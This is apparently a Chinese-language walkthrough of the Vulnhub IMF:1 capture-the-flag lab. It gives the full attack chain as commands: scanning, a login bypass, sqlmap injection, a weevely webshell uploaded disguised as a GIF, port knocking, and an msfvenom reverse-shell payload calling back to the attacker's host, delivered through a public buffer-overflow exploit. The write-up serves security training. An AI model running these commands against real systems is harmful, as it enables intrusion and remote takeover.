长亭百川云 - 文章详情

Vulnhub-IMF-1

暗影安全

54

2024-07-13

title: Vulnhub-IMF-1
categories:

  • VulnHub
    tags:
  • Linux
  • 二维码
  • JavaScript
  • PHP
  • weeley
  • gobuster
  • nmap
  • SQL注入
  • 文件上传
  • sqlmap
  • knock
  • metasploit
  • 缓冲区溢出
  • 端口碰撞
    cover: /images/Vulnhub.png
    abbrlink: 127c8ee5
    date: 2023-01-13 22:59:04

Vulnhub IMF: 1

0x01 靶机介绍

  • Name: IMF: 1

  • Date release: 30 Oct 2016

  • Author: Geckom

  • Series: IMF

  • Difficulty : medium

靶机下载地址:

https://www.vulnhub.com/entry/imf-1,162/

0x02 侦查

端口探测

首先使用 nmap 进行端口扫描

nmap -p- -sV -sC -A 192.168.0.103 -oA nmap_IMF

扫描结果显示目标只开放了80端口

80端口

访问http://192.168.0.103为 IMF,即不可能的任务情报署

目录探测

使用 gobuster 进行目录扫描,成功发现多个文件和目录

gobuster dir -u http://192.168.0.103 -w /usr/share/wordlists/dirb/big.txt -x php

0x03 上线[www-data]

信息收集

contact.php的源代码中发现第一个flag:

flag1{YWxsdGhlZmlsZXM=}

js目录中发现三串特殊名字的 JavaScript 文件

重组后经 base64 解码后发现第二个flag:

flag2{aW1mYWRtaW5pc3RyYXRvcg==}
ZmxhZzJ7YVcxbVlXUnRhVzVwYzNSeVlYUnZjZz09fQ==

针对拿到的两个 flag 进行 base64 解码,成功拿到字符串为allthefilesimfadministrator

echo "YWxsdGhlZmlsZXM=" | base64 -d

SQL注入

访问http://192.168.0.103/imfadministrator为管理员的登录界面

在网页中发现三个邮箱地址,分别为rmichaels@imf.localestone@imf.localakeith@imf.local

使用邮箱地址中的用户名进行登录,但是都提示无效的用户名

rmichaels

在 pass 参数中修改为pass[],成功拿到第三个flag:

flag3{Y29udGludWVUT2Ntcw==}

,经 base64 解码为continueTOcms

访问http://192.168.0.103/imfadministrator/cms.php?pagename=home为管理界面

截取数据包对pagename参数尝试注入

GET /imfadministrator/cms.php?pagename=* HTTP/1.1

使用 sqlmap 进行 SQL 注入获取数据,成功找到两个jpg文件

python3 sqlmap.py -r test1.txt --dump --level 5 --risk 3

分别访问两个图片http://192.168.0.103/imfadministrator/images/redacted.jpghttp://192.168.0.103/imfadministrator/images/whiteboard.jpg

下载二维码插件:二维码生成器

点击右键对图片进行识别,成功拿到第四个flag:

flag4{dXBsb2Fkcjk0Mi5waHA=}

经 base64 解码后为uploadr942.php

文件上传

访问http://192.168.0.103/imfadministrator/uploadr942.php发现文件上传点

使用 weevely 生成PHP类型木马

weevely generate mac mac.php

制作图片马并添加 GIF 头文件,同时将后缀名修改为.gif

cp mac.php mac.gif# 添加头文件GIF89a31111

使用 BurpSuite 截取数据包上传图片马,返回1f99323f6a1c为文件名

访问http://192.168.0.103/imfadministrator/uploads/1f99323f6a1c.gif成功

使用 weevely 输入密码mac成功连接,在其中找到第五个flag:

flag5{YWdlbnRzZXJ2aWNlcw==}

经 base64 解码为agentservices

weevely http://192.168.0.103/imfadministrator/uploads/1f99323f6a1c.gif mac

0x04 权限提升[root]

信息收集

由于提示为代理服务,在服务器中搜索名称agent,成功发现/usr/local/bin/agent

find / -name agent &> /dev/null

agent执行后发现7788端口已开放

netstat -ntlp

usr/local/bin目录下还存在文件access_codes,查看后发现端口:7482、8279、9467

端口碰撞

端口碰撞是一种通过在一组预先指定的关闭端口上产生连接请求,从外部打开防火墙上的端口的方法。一旦收到正确的连接请求序列,防火墙规则就会被动态修改,以允许发送连接请求的主机通过特定端口进行连接。

在本地下载 knock

git clone https://github.com/grongor/knock.git

使用 knock 依次访问7482、8279、9467端口,最终成功打开7788端口

./knock 192.168.0.103 7482 8279 9467nc 192.168.0.103 7788

在 weevely 中下载agent至本地

:file_download /usr/local/bin/agent /root/vulnhub/imf/agent

分析发现agent是 ELF 32位 的文件

file agent

缓冲区溢出

使用 ltrace 跟踪agent程序运行时所调用库函数的情况

chmod +x agentltrace ./agent

经测试输入任何值都会返回48093572,因此尝试在agent ID中输入48093572,验证成功

使用 MSF 生成用于反弹shell的 shellcode

msfvenom -p linux/x86/shell_reverse_tcp lhost=192.168.0.104 lport=5555 -f python -b "\x00\x0a\x0b"
buf =  b""

把 shellcode 添加至 agent 利用代码中

利用代码地址:

https://github.com/jessekurrus/agentsploit

在本地通过 MSF 监听5555端口

msf6 > use exploit/multi/handler

执行利用代码

python agentsploit.py 192.168.0.103 7788

成功收到反弹shell,同时拿到第六个flag:

flag6{R2gwc3RQcm90MGMwbHM=}
相关推荐
关注或联系我们
添加百川云公众号,移动管理云安全产品
咨询热线:
4000-327-707
百川公众号
百川公众号
百川云客服
百川云客服

Copyright ©2024 北京长亭科技有限公司
icon
京ICP备 2024055124号-2